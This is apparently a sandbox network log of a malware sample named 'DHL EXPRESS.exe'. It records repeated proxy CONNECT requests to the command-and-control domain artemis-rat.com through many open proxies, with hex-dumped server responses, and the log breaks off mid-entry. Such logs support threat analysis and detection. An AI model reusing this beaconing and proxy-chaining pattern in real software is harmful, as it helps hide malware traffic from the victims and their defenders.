Mar 11, 2024 18:37:10.908051014 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:37:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
818	192.168.2.8	52434	104.20.233.70	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.650059938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.804133892 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
819	192.168.2.8	52408	68.169.60.220	8380	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.652178049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
820	192.168.2.8	52323	207.180.198.241	37443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.677726984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.456403971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.456991911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.456752062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.261691093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.065963030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.956517935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.565958977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:26.753173113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
821	192.168.2.8	52342	211.222.252.187	8197	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.682305098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
822	192.168.2.8	52442	172.67.25.204	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.683032036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.837644100 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
823	192.168.2.8	52335	61.129.2.212	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.689084053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:19.002588034 CET	726	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 17:34:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
824	192.168.2.8	52444	172.67.181.11	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.689944029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.844140053 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
825	192.168.2.8	50345	92.204.134.38	42571	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.689985037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.706552029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.800410986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.800699949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
826	192.168.2.8	52308	45.138.87.238	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.690057039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
827	192.168.2.8	52347	1.15.62.12	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.691575050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
828	192.168.2.8	52359	58.75.126.235	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.692596912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
829	192.168.2.8	52294	38.54.116.9	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.693380117 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:51.122955084 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
830	192.168.2.8	52348	54.233.119.172	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.693617105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.019674063 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:48 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
831	192.168.2.8	52491	104.16.109.143	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.695204973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.849459887 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
832	192.168.2.8	52423	38.54.95.19	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.695810080 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:49.269021034 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:49.957321882 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:51.269454956 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:53.956698895 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:56.566440105 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:59.253484964 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:37:04.456593037 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:37:14.769149065 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
833	192.168.2.8	52389	47.229.171.150	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.699037075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.456331968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.456785917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.269191980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.769249916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.253602028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.769155025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:09.769004107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:16.112365961 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
834	192.168.2.8	52510	104.16.221.57	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.699212074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.853501081 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad 